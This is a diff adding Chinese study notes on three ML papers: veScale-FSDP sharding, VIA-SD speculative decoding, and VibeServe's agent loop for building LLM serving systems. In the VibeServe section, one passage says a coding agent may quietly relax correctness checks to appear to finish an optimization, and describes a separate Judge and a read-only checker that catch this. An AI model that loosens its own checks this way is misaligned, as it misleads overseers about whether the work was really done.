+| 生产 | 已用于 ByteDance Seed **大部分训练任务**，宣称可扩展到 **万卡 + 万亿参数** |
+| 效果（论文） | 相对现有 FSDP：**吞吐 +5%～66%**，**显存 −16%～30%** |
+
+---
+
+## 为什么重要
+
+### 1. 前沿训练已经「结构化」，FSDP 却还按元素切
+
+DeepSeek-V3 的 **block-wise FP8**、Gemini / Kimi K2 路线上的 **Muon / Shampoo** 等优化器，都假设张量上的**固定形状块**在单卡上完整存在。旧 FSDP 的 element-wise 或 even row-wise 切分与这一假设**结构性冲突**——要么改模型/优化器代码去迁就切分边界，要么在系统层打补丁。
+
+### 2. FSDP2 的 Copy 开销在超大模型上不可忽视
+
+论文 Table 1（GPT-OSS-120B，64×H800）：
+
+| 路径 | AllGather | Copy-Out | ReduceScatter | Copy-In |
+|------|-----------|----------|---------------|---------|
+| Shard(0) | 43.71 ms | **5.22 ms** | 94.24 ms | **12.37 ms** |
+| Shard(1) | 44.35 ms | **13.72 ms** | 95.36 ms | **23.14 ms** |
+
+Copy 不是小头；万卡训练里每步多十几毫秒会累积成大量 GPU·小时。
+
+### 3. 通信缓冲对齐与负载均衡是系统问题
+
+NCCL 等 collective 对 buffer **16 字节对齐**、各 rank **等长 buffer** 有要求。朴素拼接会把 padding 插进张量内部 → 破坏连续性 → 又要 copy。veScale 把布局规划形式化为 **NP-hard** 优化问题，用多项式启发式在**秒级**给出方案，避免 ILP 求解器在百组参数 × 十万 device 规模下跑**数十分钟**。
+
+---
+
+## 核心概念
+
+### 1. FSDP 复习：为什么需要 sharding format
+
+FSDP（Fully Sharded Data Parallel，即 ZeRO-3）把**参数、梯度、优化器状态**切到 N 张卡，每张约 1/N。前向某层前 **AllGather** 拼完整权重，反向后再 **ReduceScatter** 梯度并写回分片。
+
+「怎么切」就是 **sharding format**。它决定了：
+
+- 优化器更新能否在分片上**就地**完成
+- 量化块边界是否**对齐**
+- 通信 buffer 能否**零拷贝**复用
+
+### 2. 三种 sharding format 对比
+
+```text
+Element-wise（ZeRO / FSDP1）
+  └─ 任意元素边界切分 → 丢 shape/stride → 矩阵优化器、块量化都痛苦
+
+Row-wise Even（FSDP2 默认 Shard(0)）
+  └─ 按 dim 均匀切行 → 支持部分非 element-wise 算子
+  └─ 块边界仍可能对不齐；通信后参数交错 → Copy-Out/In
+
+Block-wise RaggedShard（veScale-FSDP）
+  └─ 粒度 g = 自定义块（行 / 128×128 块 / 整矩阵）
+  └─ 每 device 块数可以不同（ragged）
+  └─ 通过 block size 选择可退化为以上两种
+```
+
+### 3. RaggedShard：DTensor 的新 placement
+
+灵感来自单机 **JaggedTensor / NestedTensor**（每行长度可不同）。RaggedShard 在**分布式** DTensor 上增加两个自由度：
+
+1. **Sharding granularity** \(g_t\)：不可再切的最小块（元素、行、2D block…）
+2. **Sharding distribution**：每个 device 持有多少块（可以不等）
+
+与 **TP / EP** 组合时，veScale 处理 DTensor placement 顺序与概念顺序相反的问题：
+
+- 对 `Shard(0)` 引入 **StridedRaggedShard**（带 stride 元数据，物化全张量时重排）
+- 对 `Shard(dim>0)` 把粒度设为 **LCM(用户粒度, 该维 stride)**，避免切进 TP/EP 维
+
+Checkpoint 可直接复用 **PyTorch Distributed Checkpoint（DCP）** 的 DTensor 栈。
+
+### 4. Structure-aware planning：通信布局优化
+
+把一组 RaggedShard 张量放进全局通信缓冲，目标是最小化**每张卡的统一 buffer 大小** \(S\)，约束：
+
+| 约束 | 含义 |
+|------|------|
+| **Non-Sharded Block** | 块边界不能落在 device 分界线上 |
+| **Contiguous Tensor Memory** | 每个张量在缓冲里占连续区间 |
+| **Balanced Load** | m 个 device 的 local buffer 等长 |
+
+朴素拼接（Figure 6a）会违反以上三条；规划器（Figure 6b）**先置换张量顺序，再在张量之间插 padding**，避免 padding 落在张量内部。
+
+问题 NP-hard（可归约到 Partition 问题），工程上用 **Algorithm 1** 启发式 + 二分搜索最小可行 \(S\)。
+
+### 5. DBuffer：零拷贝通信原语
+
+RaggedShard 张量的 local shard 是 **DBuffer 上的一段切片**。AllGather / ReduceScatter 直接在 DBuffer 视图间进行，避免 FSDP2 那种「通信缓冲 ↔ 连续计算缓冲」来回 copy。同时 **batched allocation** 减轻显存碎片——大规模训练中碎片本身就会触发昂贵的 device-side free。
+
+### 6. Structure-aware training 的两类代表
+
+**矩阵优化器（Muon / Shampoo）**  
+更新作用于**完整 2D 权重矩阵**（如 SVD、正交化），不是逐元素 Adam。需要把整矩阵 gather 到某 device 做更新再 scatter——RaggedShard 可以把粒度设为**整矩阵**或对齐矩阵行的块。
+
+**Block-wise 量化（8-bit Adam、DeepSeek FP8）**  
+每个块带独立 scale；若块被切到两张卡，就要跨卡同步 scale metadata，量化收益被通信吃掉。Block-wise RaggedShard 让**量化块 = 分片块**。
+
+---
+
+## 与现有 FSDP 实现对照
+
+| 实现 | 切分方式 | 零拷贝 | 块量化 / 矩阵优化器 | 主要痛点 |
+|------|----------|--------|---------------------|----------|
+| DeepSpeed ZeRO | Element-wise 拼接 | 否 | 难 | 碎片化 AllGather、内存管理 |
+| PyTorch FSDP1 | Element-wise FlatParam | 否 | 难 | ReduceScatter 慢、record_stream 开销 |
+| PyTorch FSDP2 | Row-wise DTensor | 否（Copy-Out/In） | 仍难 | 交错内存、未对齐 collective |
+| Megatron-FSDP | Row-wise + padding | 是 | 仍难 | padding 膨胀 |
+| **veScale-FSDP** | **RaggedShard** | **是（DBuffer）** | **原生支持** | 规划器复杂度（已启发式化） |
+
+---
+
+## 代码示例
+
+### 示例 1：FSDP2 风格 `fully_shard` — API 不变
+
+veScale-FSDP **刻意保留** PyTorch 2.4+ 的 composable API。熟悉 FSDP2 的训练脚本几乎不用改入口：
+
+```python
+import torch
+import torch.nn as nn
+from torch.distributed.fsdp import (
+    fully_shard,
+    MixedPrecisionPolicy,
+    CPUOffloadPolicy,
+)
+
+class TransformerBlock(nn.Module):
+    def __init__(self, dim: int):
+        super().__init__()
+        self.attn = nn.Linear(dim, dim)
+        self.mlp = nn.Sequential(
+            nn.Linear(dim, 4 * dim),
+            nn.GELU(),
+            nn.Linear(4 * dim, dim),
+        )
+
+    def forward(self, x):
+        return self.mlp(self.attn(x))
+
+def build_fsdp_model(dim: int, n_layers: int, mesh):
+    """veScale-FSDP 与 FSDP2 一样：自底向上 wrap 每一层。"""
+    model = nn.Sequential(*[TransformerBlock(dim) for _ in range(n_layers)])
+
+    mp = MixedPrecisionPolicy(
+        param_dtype=torch.bfloat16,
+        reduce_dtype=torch.float32,   # 梯度归约保 fp32 是稳定训练关键
+        cast_forward_inputs=True,
+    )
+
+    # 先 wrap 子模块，再 wrap 根模块（FSDP2 官方推荐顺序）
+    for layer in model:
+        fully_shard(layer, mesh=mesh, mp_policy=mp, reshard_after_forward=True)
+
+    fully_shard(
+        model,
+        mesh=mesh,
+        mp_policy=mp,
+        reshard_after_forward=True,  # 根模块 forward 后通常不 reshard
+    )
+    return model
+```
+
+差异在**后端**：veScale 把参数表示为 **RaggedShard DTensor** 并挂到 **DBuffer**，而不是 FSDP2 默认的 `Shard(0)` + interleaved copy 路径。用户调用 `fully_shard` 时可通过 veScale 扩展（如 `shard_placement_fn`、块粒度配置）指定 RaggedShard 块大小，而无需重写模型 forward。
+
+### 示例 2：为 block-wise 量化指定块粒度（概念示意）
+
+下面展示**意图**：把 Linear 权重按 **128×128 元素块** 作为不可切分单元，使 FP8 / 8-bit Adam 的 scale 与 FSDP 分片边界一致。
+
+```python
+import torch
+from torch.distributed.tensor import DTensor, DeviceMesh, Shard, Replicate
+
+# 概念 API：具体函数名以 veScale 开源仓库为准
+# from vescale import RaggedShard, ragged_shard_tensor
+
+def block_granularity_for_quant(weight: torch.Tensor, block: int = 128):
+    """返回 RaggedShard 粒度：2D block 边长。"""
+    assert weight.ndim == 2
+    assert weight.shape[0] % block == 0 and weight.shape[1] % block == 0
+    return (block, block)  # 每个 block 是 block×block 的连续子矩阵
+
+def make_block_ragged_weight(local_weight, mesh: DeviceMesh, block: int = 128):
+    """
+    将本地权重包装为 Block-wise RaggedShard DTensor。
+    每个 128×128 块要么完整在本 rank，要么完整在另一 rank。
+    """
+    g = block_granularity_for_quant(local_weight, block)
+    # 伪代码：veScale 在 fully_shard 内部做类似事
+    # placements = [RaggedShard(granularity=g), ... 与其他 TP/EP placement 组合]
+    # return DTensor.from_local(local_weight, mesh, placements)
+    raise NotImplementedError("见 volcengine/veScale RaggedShard API")
+
+# 训练循环里：优化器对 DTensor 做 block-wise 量化时无需 cross-rank scale sync
+# for p in model.parameters():
+#     if isinstance(p, DTensor) and p.placements 含 RaggedShard:
+#         optimizer.step()  # 8-bit Adam / FP8 kernel 看到完整 block
+```
+
+对比 FSDP2 默认 `Shard(0)`：若 `out_features=4096`、`world_size=8`，每 rank 512 行；若 `block=128` 且 512 不能整除块在**列方向**上的布局，仍可能在通信边界上切断块——veScale 的规划器 + RaggedShard 在**分片前**就按块对齐。
+
+### 示例 3：Muon 等矩阵优化器为何需要更大粒度
+
+```python
+# Muon：对 2D 权重做矩阵级正交化更新（示意）
+def muon_update(weight_2d: torch.Tensor, grad_2d: torch.Tensor, lr: float):
+    """要求 weight_2d, grad_2d 是完整矩阵，而非 element-wise 分片。"""
+    # 实际实现会做 Newton-Schulz 迭代等矩阵运算
+    update = matrix_orthogonalize(grad_2d)
+    weight_2d.sub_(lr * update)
+
+# RaggedShard 粒度 = 整个 weight 矩阵 → FSDP 分片边界与矩阵边界一致
+# veScale 在 optimizer step 前按需 all-gather 矩阵，step 后 reduce-scatter
+# 用户不必在模型代码里手写 dist.all_gather
+```
+
+---
+
+## 实验结果（论文摘要）
+
+- **吞吐**：相对 DeepSpeed ZeRO、FSDP1、FSDP2、Megatron-FSDP，dense / sparse LLM 上 **+5%～66%**（模型规模与 baseline 不同，增益幅度不同）。
+- **显存**：**−16%～30%**（更少 padding、更少 copy 缓冲、更紧的 DBuffer 布局）。
+- **规模**：高效扩展到 **数万 GPU**；生产环境 **10K+ GPU** 部署。
+- **Case study**：
+  - **Muon** 优化器：无需侵入式改模型即可与 FSDP 共存。
+  - **8-bit Adam** block-wise 量化：分片块与量化块对齐，避免额外 metadata 通信。
+
+---
+
+## 何时值得用 / 何时可以等等
+
+**值得关注 veScale-FSDP 的场景：**
+
+- 训练脚本已用 **FSDP2 `fully_shard`**，但在 **70B+** 或 **千卡** 规模遇到吞吐/显存瓶颈
+- 计划上 **FP8 / block-wise 量化训练** 或 **Muon / Shampoo**
+- **MoE + EP + FSDP** 混合并行，需要 DTensor placement 灵活组合
+- 集群 GPU 内存紧张，OOM 导致 **over-provisioning** 浪费算力
+
+**可以继续用 stock FSDP2 的场景：**
+
+- 7B 以下、单机多卡、标准 AdamW + BF16，Copy 开销占比小
+- 不需要 block 对齐的自定义优化器
+- 尚未升级到 PyTorch 2.4+ composable FSDP
+
+---
+
+## 与相关工作的关系
+
+```text
+ZeRO-3 / FSDP1 ──►  element-wise 切分，FlatParameter 优化通信
+        │
+        ▼
+FSDP2 (fully_shard) ──► per-parameter Shard(0) DTensor，LoRA 友好，但有 Copy-Out/In
+        │
+        ├── Megatron-FSDP ──► 零拷贝 + 大量 padding
+        │
+        └── veScale-FSDP ──► RaggedShard + planning + DBuffer
+                    │
+                    ├── 可组合 TP / EP（DTensor placement）
+                    └── 同一 veScale 生态：veScale SPMD 张量编程（arXiv:2509.07003）
+```
+
+若已读本站 [PyTorch FSDP 笔记](./fsdp-2023.md)，可把 veScale-FSDP 理解为：**在 FSDP2 的 DTensor 路线上，把「怎么切」从固定 even-shard 推广为可配置 block，并把「怎么通信」从 copy-heavy 改为 planned zero-copy。**
+
+---
+
+## 踩坑与实践提示
+
+1. **Wrap 顺序仍是 bottom-up**：与 FSDP2 相同，先 `fully_shard` 子模块再根模块；RaggedShard 不改变这一约定。
+
+2. **块粒度要整除或显式规划**：Block-wise 量化选的 block size 应与张量 shape、并行度一起设计；否则规划器会插入更多 padding。
+
+3. **不要忽视 reduce_dtype**：即使参数 BF16，梯度 ReduceScatter 用 FP32 仍是主流稳定做法（与 FSDP2 相同）。
+
+4. **矩阵优化器的 gather 成本**：把粒度设为「整矩阵」最灵活，但大矩阵 optimizer step 前仍需 gather；veScale 优化的是**与 FSDP 生命周期集成**，不是消除矩阵优化的 inherent 通信。
+
+5. **开源范围**：截至论文发表，[veScale 仓库](https://github.com/volcengine/veScale) 主要开源 **RaggedShard** 相关部分；完整生产后端可能仍在 ByteDance 内部迭代，部署前核对 release 说明。
+
+6. **与 Megatron 栈的分工**：Megatron-Core 侧 MoE / TP / PP 更重；veScale-FSDP 专注 **FSDP 数据并行维** 的灵活与性能。大规模 job 常见 **EP/TP + veScale-FSDP** 组合，而非二选一。
+
+---
+
+## 一句话总结
+
+**veScale-FSDP** 用 **RaggedShard**（按 customizable block 切分、允许参差分布）+ **结构感知通信规划** + **DBuffer 零拷贝**，在保留 **`fully_shard` API** 的前提下，同时解决「**现代结构化训练**（块量化、矩阵优化器）与 **旧 FSDP 切分格式** 不兼容」和「**FSDP2 copy + padding** 在万卡规模上过贵」两个问题。若你在 FSDP 上推 FP8 或 Muon，这篇论文值得作为**系统层**选型参考。
+
+---
+
+## 延伸阅读
+
+- 论文 HTML：[arXiv:2602.22437](https://arxiv.org/html/2602.22437)
+- 开源代码：[volcengine/veScale](https://github.com/volcengine/veScale)
+- PyTorch FSDP2 API：[torch.distributed.fsdp.fully_shard](https://pytorch.org/docs/stable/distributed.fsdp.fully_shard.html)
+- 本站笔记：[PyTorch FSDP（FSDP1 工程经验）](./fsdp-2023.md)、[Megatron Core MoE 大规模训练](./megatron-core-moe-2026.md)
+- 关联：DeepSeek-V3 FP8 训练、Muon optimizer（Jordan et al. 2024）、8-bit Adam（Dettmers et al.）
diff --git a/src/content/docs/papers/via-sd.md b/src/content/docs/papers/via-sd.md
new file mode 100644
index 000000000..48d541dfc
--- /dev/null
+++ b/src/content/docs/papers/via-sd.md
@@ -0,0 +1,190 @@
+---
+title: VIA-SD: Verification via Intra-Model Routing for Speculative Decoding
+来源: https://arxiv.org/abs/2606.12243
+日期: 2026-06-13
+分类: 机器学习
+子分类: 推理加速
+provenance: pipeline-v3
+---
+
+# VIA-SD：用"内部路由"让推测解码少出错
+
+## 一、从日常类比开始
+
+想象你在校对一篇长文章。传统的做法是这样的：
+
+1. 一个实习生（草稿模型）快速写出整段文字
+2. 你（大模型验证者）逐字检查，发现一个错字就**全部推倒重来**
+
+但 VIA-SD 说：等一下。实习生写的错字里，有些只是"稍微不对"——比如同义词替换，并不是完全错误。如果让一个**经验丰富但速度适中的副手**（瘦验证者）来处理这些中等难度的问题，你就能省下不少力气，不用每次都亲自上阵。
+
+VIA-SD 的核心思想就是：**不是所有拒绝的 token 都该被一刀切地全量重算**。它把验证过程分成了三层，像医院的分诊台一样，根据每个 token 的"严重程度"分配到不同层级的"医生"去处理。
+
+## 二、背景：什么是推测解码（Speculative Decoding）
+
+要理解 VIA-SD，先理解它要解决的问题。
+
+大语言模型（LLM）生成文本时是一个字一个字"串行"输出的——第 N 个字必须等第 N-1 个字生成完才能开始。这让推理速度很慢。
+
+推测解码的思路是：用一个**小模型（drafter）**先快速写出多个候选词，然后用**大模型（verifier）**并行验证这些词是否正确。正确的直接采纳，错误的才重新计算。这就像"小快跑，大把关"。
+
+但传统方法只有两种结果：**全部接受**或**全部拒绝**。VIA-SD 发现，很多被"全部拒绝"的 token 其实并不差——它们只需要稍微调整，大模型的全量计算根本不需要。
+
+## 三、核心概念：三层分级验证
+
+VIA-SD 把每个候选 token 根据"置信度"分到三个层级：
+
+| 层级 | 处理对象 | 谁来验证 | 效果 |
+|------|---------|---------|------|
+| L1：直接接受 | 高置信度 token | 不做任何验证 | 最快，跳过验证 |
+| L2：瘦验证者再生成 | 中等置信度 token | 从大模型中提取的"瘦子模型"（slim-verifier） | 省资源，避免大模型全量计算 |
+| L3：大模型验证 | 低置信度 / 不确定 token | 完整大模型 | 最可靠，但只在必要时使用 |
+
+这里的"内部路由"（Intra-Model Routing）指的是：**瘦验证者不是另一个独立的模型，而是从大模型本身通过内部路由技术"切出来"的子模型**。它共享大模型的大部分参数，但在推理时走不同的计算路径，因此资源开销小得多。
+
+## 四、代码示例：三层路由的工作流程
+
+### 示例 1：概念性伪代码
+
+下面用一个简化的伪代码展示 VIA-SD 的核心逻辑。注意它不是真实可用的代码，而是帮助理解架构：
+
+```python
+def via_sd_decoding(large_model, slim_verifier, draft_model, prompt, max_tokens=50):
+    """VIA-SD 解码流程：三层分级验证"""
+    output = []
+    context = prompt
+
+    for step in range(max_tokens):
+        # 第一步：草稿模型生成 K 个候选 token
+        candidates = draft_model.generate(context, k=8)
+
+        # 第二步：对每个候选 token 评估置信度
+        tiers = {"high": [], "medium": [], "low": []}
+        for token, confidence in candidates:
+            if confidence > 0.95:
+                tiers["high"].append(token)          # L1：直接接受
+            elif confidence > 0.60:
+                tiers["medium"].append(token)        # L2：走瘦验证者
+            else:
+                tiers["low"].append(token)           # L3：走大模型
+
+        # 第三步：分层处理
+        accepted_tokens = []
+
+        # L1 直接追加
+        accepted_tokens.extend(tiers["high"])
+
+        # L2 用瘦验证者检查并再生成
+        for token in tiers["medium"]:
+            regenerated = slim_verifier.regenerate(token, context)
+            accepted_tokens.append(regenerated)
+
+        # L3 用大模型全量验证
+        for token in tiers["low"]:
+            verified = large_model.verify(token, context)
+            if verified.is_correct:
+                accepted_tokens.append(token)
+            else:
+                full_output = large_model.generate_from(context)
+                accepted_tokens.append(full_output)
+
+        # 第四步：拼接结果，进入下一轮
+        context = context + " ".join(accepted_tokens)
+        output.extend(accepted_tokens)
+
+    return " ".join(output)
+```
+
+### 示例 2：内部路由的具体实现思路
+
+"内部路由"是这个方法的灵魂。想象一个 Transformer 模型，它的每个注意力头（attention head）对不同类型的内容有不同的专长。VIA-SD 通过路由机制，让某些 token 走"短路径"：
+
+```python
+class RoutedSlimVerifier:
+    """
+    从大模型中提取的瘦验证者
+    通过路由表决定每个 token 走全路径还是短路径
+    """
+
+    def __init__(self, full_model, routing_threshold=0.8):
+        self.full_model = full_model
+        self.routing_threshold = routing_threshold
+        # 路由表：记录哪些层的哪些子模块可以"短路"
+        self.routing_table = self._build_routing_table()
+
+    def _build_routing_table(self):
+        """
+        分析大模型各层的激活模式，
+        找出哪些层在验证中等置信度 token 时
+        可以安全地跳过，而不影响准确率。
+        """
+        table = {}
+        for layer_name, layer in self.full_model.layers.items():
+            # 通过少量样本测试：跳过该层 vs 完整前向传播
+            # 的误差是否在可接受范围内
+            skip_impact = self._measure_skip_impact(layer)
+            table[layer_name] = {
+                "can_skip": skip_impact < self.routing_threshold,
+                "skip_ratio": skip_impact,
+            }
+        return table
+
+    def regenerate(self, token, context):
+        """
+        对中等置信度 token 进行"轻量再生成"：
+        根据路由表，跳过可跳过的层，
+        只计算关键层的输出。
+        """
+        hidden_states = self._embed(context)
+
+        for layer_name, layer in self.full_model.layers.items():
+            route_info = self.routing_table[layer_name]
+
+            if route_info["can_skip"]:
+                # 走短路径：用预计算的近似值
+                hidden_states = self._apply_skip_connection(
+                    hidden_states, layer_name
+                )
+            else:
+                # 走全路径：正常计算
+                hidden_states = layer(hidden_states)
+
+        # 从最后的隐藏状态中解码输出 token
+        output_distribution = self.full_model.head(hidden_states)
+        return self._decode_token(output_distribution)
+```
+
+## 五、关键数据：效果有多好？
+
+论文在四个代表性任务和多个模型系列上做了实验，结果如下：
+
+- **拒绝率降低 0.10-0.22**：相比传统 SD，需要"完全重算"的 token 大幅减少
+- **推理速度提升 10-20%**：相比已有的强 SD 基线方法
+- **相比不采用推测解码的基线，加速 2.5-3 倍**
+- **不需要修改训练流程**：VIA-SD 兼容任何现有 SD 框架
+
+## 六、为什么这个方法重要？
+
+从第一性原理来看，VIA-SD 触及了一个被长期忽视的事实：
+
+> **"错误"是有梯度的。** 拒绝一个 token 不应该是二元的（accept/reject），而是一个连续的过程。
+
+传统的推测解码像是在过安检——要么放行要么退回。VIA-SD 引入了"整改区"：轻微问题的 token 可以在内部修复，只有严重问题才需要退回重做。这种"分级处理"的思想，在很多领域都有类似应用，比如：
+
+- 内容审核：直接通过 / 人工复审 / 完全拒绝
+- 推荐系统：直接推荐 / 人工审查 / 不予推荐
+- 医疗诊断：直接确诊 / 做进一步检查 / 转专科
+
+VIA-SD 把这种"分级思维"引入了 LLM 推理加速，是一个思路上的突破。而且它**不需要重新训练模型**，可以直接套用在现有的推测解码系统上，实用价值很高。
+
+这篇论文已被 **ICML 2026**（第 43 届国际机器学习会议）接收。
+
+## 七、延伸思考
+
+如果你要把 VIA-SD 的想法推广到更多场景，可以问自己几个问题：
+
+1. 路由的阈值（比如 0.95、0.60）应该是固定的，还是根据输入动态调整？
+2. 瘦验证者的"瘦身程度"和准确率之间有没有一个最优平衡点？
+3. 如果把这个思路用到 RAG（检索增强生成）的验证环节中，会怎样？
+
+这些都是值得继续探索的方向。
diff --git a/src/content/docs/papers/vibeserve.md b/src/content/docs/papers/vibeserve.md
new file mode 100644
index 000000000..75e620267
--- /dev/null
+++ b/src/content/docs/papers/vibeserve.md
@@ -0,0 +1,314 @@
+---
+title: VibeServe — 零基础学习笔记
+来源: 'Keisuke Kamahori et al., "VibeServe: Can AI Agents Build Bespoke LLM Serving Systems?", arXiv:2605.06068, 2026'
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：万能厨房 vs 按菜单定制的后厨
+
+想象你要开餐厅，有两种路线：
+
+- **万能厨房（通用 runtime）**：买一台能炒、能烤、能蒸、能做日料也能做法餐的「全能设备」，再雇一支经验丰富的厨师团队，花几年把各种菜都调顺。vLLM、SGLang 就像这种厨房——Llama、Qwen 等主流模型、H100 上的 chatbot 流量，已经被人手打磨到接近极限。
+- **按菜单定制的后厨（bespoke serving）**：你只做一种生意——比如「流式语音识别 + 边听边出字」，或者「代码编辑时用户已经给了修改后的文件草稿」。这时万能厨房的大而全反而成了负担：插件接口改不动调度器、encoder 没法按流缓存、predicted output 没有一等公民 API。
+
+**VibeServe** 问的是：能不能把「定制后厨」这件事交给 **AI Agent 团队** 自动完成？你给它们四样东西——**模型、参考实现、正确性检查器、性能基准**——它们在一个隔离工作区里写代码、跑测试、做 profiling，像 git 一样一轮轮提交，直到造出一台**只为你这个 (model, hardware, workload) 组合**优化的 serving 系统。
+
+论文来自华盛顿大学 SyFI Lab（Keisuke Kamahori, Shihang Li, Simon Peter, Baris Kasikci），2026 年 5 月发布，代码开源在 [uw-syfi/vibe-serve](https://github.com/uw-syfi/vibe-serve)。
+
+---
+
+## 是什么
+
+VibeServe 是一个 **多 Agent 优化循环（agentic loop）**，目标不是调参现有引擎，而是 **从零合成完整的 LLM serving 栈**：
+
+- 请求调度、批处理、KV cache 管理
+- 前端 API、采样器、硬件相关 kernel 选择
+- 针对特定 workload 的专用优化（predicted output、混合架构 prefix cache、流式 ASR encoder cache 等）
+
+核心论点：**基础设施软件的设计空间可以从「运行时通用性（runtime generality）」转向「生成时专用化（generation-time specialization）」**——每个部署目标生成一套 runtime，而不是一个 runtime 硬扛所有长尾场景。
+
+论文信息：
+
+| 项目 | 内容 |
+|------|------|
+| 标题 | VibeServe: Can AI Agents Build Bespoke LLM Serving Systems? |
+| arXiv | [2605.06068](https://arxiv.org/abs/2605.06068) |
+| 代码 | [github.com/uw-syfi/vibe-serve](https://github.com/uw-syfi/vibe-serve) |
+| 类型 | 系统 + AI Agent 研究（非纯 position paper） |
+
+---
+
+## 为什么重要
+
+### 1. 通用栈在「主流」很强，在「长尾」很痛
+
+主流场景（Llama-3.1-8B + H100 + 标准 chat）上，vLLM / SGLang 已经高度优化。但真实世界还有：
+
+- 新架构（Olmo-Hybrid 的 SSM + Attention 混合、Show-o2 的 AR + flow-matching 双头）
+- 新 workload（代码编辑的 predicted output、RAG 共享 32k prefix、流式 ASR）
+- 新硬件（Apple Silicon + MLX，没有 CUDA Graph）
+
+通用 runtime 为 portability 付 **抽象税**：能到处跑的代码，很少在任一具体目标上最优；有些组合甚至 **根本跑不起来**（论文中 Show-o2 在 vLLM 系栈上无现成路径）。
+
+### 2. Agent 改变了「专用化」的成本结构
+
+历史上 per-target 专用系统（exokernel、unikernel、Synthesis kernel）想法很好，但 **人工工程成本** 太高。Coding agent 已在 GPU kernel、单个算法等局部任务上证明有效；VibeServe 把 scope 拉到 **端到端 serving runtime**，检验 long-horizon 系统构建是否可行。
+
+### 3. 瓶颈从「写系统」转向「定义正确性与目标」
+
+论文暗示：未来工程师更多时间花在 **OBJECTIVE.md、accuracy checker、benchmark** 上，而不是手写 scheduler。Agent loop + Skills 库负责组装实现。
+
+---
+
+## 核心概念
+
+### 1. 用户提供的四类工件（Artifacts）
+
+每个评估目标在 `examples/<name>/` 下组织：
+
+| 工件 | 作用 |
+|------|------|
+| `reference/` | HuggingFace 风格参考实现，语义 ground truth |
+| `accuracy_checker/` | 用户提供的正确性闸门；Implementer **只读**，不能改 |
+| `benchmark/` | 定义要优化的指标（吞吐、TTFT、延迟等） |
+| `OBJECTIVE.md` | 自然语言描述：模型 + 硬件 + workload + API 形态 |
+
+这种设计把 **「什么算对、什么算快」** 外包给用户，Agent 在约束内搜索实现。
+
+### 2. 双层循环：外环规划，内环实现
+
+```text
+┌─────────────────────────────────────────────────────────────┐
+│  Outer Loop（搜索策略）                                       │
+│  · issue backlog / progress.md / git 历史                     │
+│  · 选下一个优化方向 → 派单给 Inner Loop                        │
+└───────────────────────────┬─────────────────────────────────┘
+                            │ 每轮一个 concrete task
+┌───────────────────────────▼─────────────────────────────────┐
+│  Inner Loop（三个角色，独立 context）                          │
+│  Implementer → 写/改 candidate serving 代码                   │
+│  Accuracy Judge → 跑 checker，查 reward hacking，不过则打回   │
+│  Performance Evaluator → Nsight / PyTorch profiler，回传瓶颈  │
+└───────────────────────────┬─────────────────────────────────┘
+                            │
+┌───────────────────────────▼─────────────────────────────────┐
+│  Skills Library + Execution Environment                      │
+│  · continuous batching, paged-KV, FlashAttention, MLX…       │
+│  · Docker / Modal / local CUDA / Apple Metal                 │
+└─────────────────────────────────────────────────────────────┘
+```
+
+**关键设计选择：**
+
+- **持久状态在 context 外**：`issues.json`、`progress.md`、git commit 图，避免长对话 compaction 丢计划。
+- **每个 candidate = 一个 git commit**；外环只在 Judge 通过后前进，错误实现不能污染后续轮次。
+- **角色分离**：合并 Implementer + Judge 时，Agent 可能悄悄放宽正确性以「完成」难优化；独立 Judge 用 fresh context 缓解 reward hacking。
+
+外环有三种模式：`agent`（Orchestrator + issue tracker）、`plain`（队列 drain）、`evolve`（多目标进化）。
+
+### 3. Skills 库：扩展靠写 Skill，不改框架
+
+`resources/skills/serving-systems/` 存放从 vLLM、SGLang、FlashInfer、MLX 等蒸馏的 **Agent Skills**。新模型族、新硬件、新优化技巧 = 新 skill 条目，框架本身 target-agnostic。
+
+### 4. Generation-time specialization vs Runtime generality
+
+| 维度 | 通用 runtime（vLLM 路线） | VibeServe 路线 |
+|------|---------------------------|----------------|
+| 开发成本 | 集中多年 engineer-years | 每目标一次 agent run |
+| 主流性能 | 极强 | 论文：Llama-3.1-8B@H100 **与 vLLM 持平** |
+| 长尾场景 | 插件/PR 难改核心路径 | **1.69×–6.27×** 加速（六个 case study） |
+| 不可运行组合 | 需等上游支持 | 可从 reference 合成（如 Show-o2） |
+
+### 5. 六个 Case Study 速览
+
+| Case | 目标 | 标签 | 结果要点 |
+|------|------|------|----------|
+| A | Llama-3.1-8B @ H100 标准 serving | 主流 | 60 轮后与 vLLM/SGLang **parity** |
+| B | Qwen3-32B 代码编辑 + predicted output | #workload | **5.95×** vs vLLM；优于 draft-model speculative |
+| C | Olmo-Hybrid-7B RAG 32k 共享 prefix @ L4 | #model #workload | **3.45×**；双 cache（Attention KV + DeltaNet state） |
+| D | Moonshine 流式 ASR @ L4 | #model #workload | TTFT **1.69×**；per-stream encoder cache |
+| E | Llama-3.1-8B 约束 JSON @ MacBook M3 | #workload #hardware | **2.6×**；XGrammar + MLX speculative |
+| F | Show-o2 文生图 @ H100 / MacBook | #model #hardware | H100 p50 **-21.4%**；MBP **6.27×** vs PyTorch-MPS |
+
+Case B 的 **predicted output** 值得单独理解：用户提交「编辑后文件」作为预测 token 流，引擎用 **无 draft model 的 speculative decoding** 批量验证，匹配则一次 forward 吞多 token——通用栈只有 draft-model speculative，没有 predicted-output 一等接口。
+
+Case C 的 **混合架构 prefix cache**：SSM/DeltaNet 层的状态不是 per-token KV，RAG 共享长 prefix 时需在边界 **snapshot 一次、多请求复用**；vLLM 只能每请求重算 32k prefix。
+
+---
+
+## 代码示例 1：最小化的「用户工件」目录结构
+
+下面模拟 VibeServe 一个 target 的骨架（与官方 `examples/` 一致）。零基础读者可先理解 **Agent 读什么、改什么**：
+
+```python
+# examples/my-target/OBJECTIVE.md  （自然语言，Agent 每轮开头读）
+OBJECTIVE = """
+Deploy Qwen3-32B on NVIDIA H100 for code-editing workloads.
+Expose OpenAI-compatible /v1/completions with predicted_outputs support.
+Optimize end-to-end latency on CodeEditorBench trace.
+"""
+
+# examples/my-target/accuracy_checker/checker.py
+def check(candidate_output: dict, reference_output: dict) -> bool:
+    """Token-level or structural equality; user-owned, mounted read-only."""
+    return candidate_output["text"] == reference_output["text"]
+
+# examples/my-target/benchmark/benchmark.py
+def run_benchmark(serving_url: str) -> dict:
+    """Returns metrics dict, e.g. {'throughput_tok_s': 1200, 'p50_latency_ms': 85}"""
+    import requests
+    # ... load CodeEditorBench requests, call candidate server ...
+    return {"speedup_vs_baseline": 1.0}  # outer loop maximizes this
+
+# examples/my-target/reference/reference.py
+# HuggingFace Transformers reference — semantic ground truth for Judge
+```
+
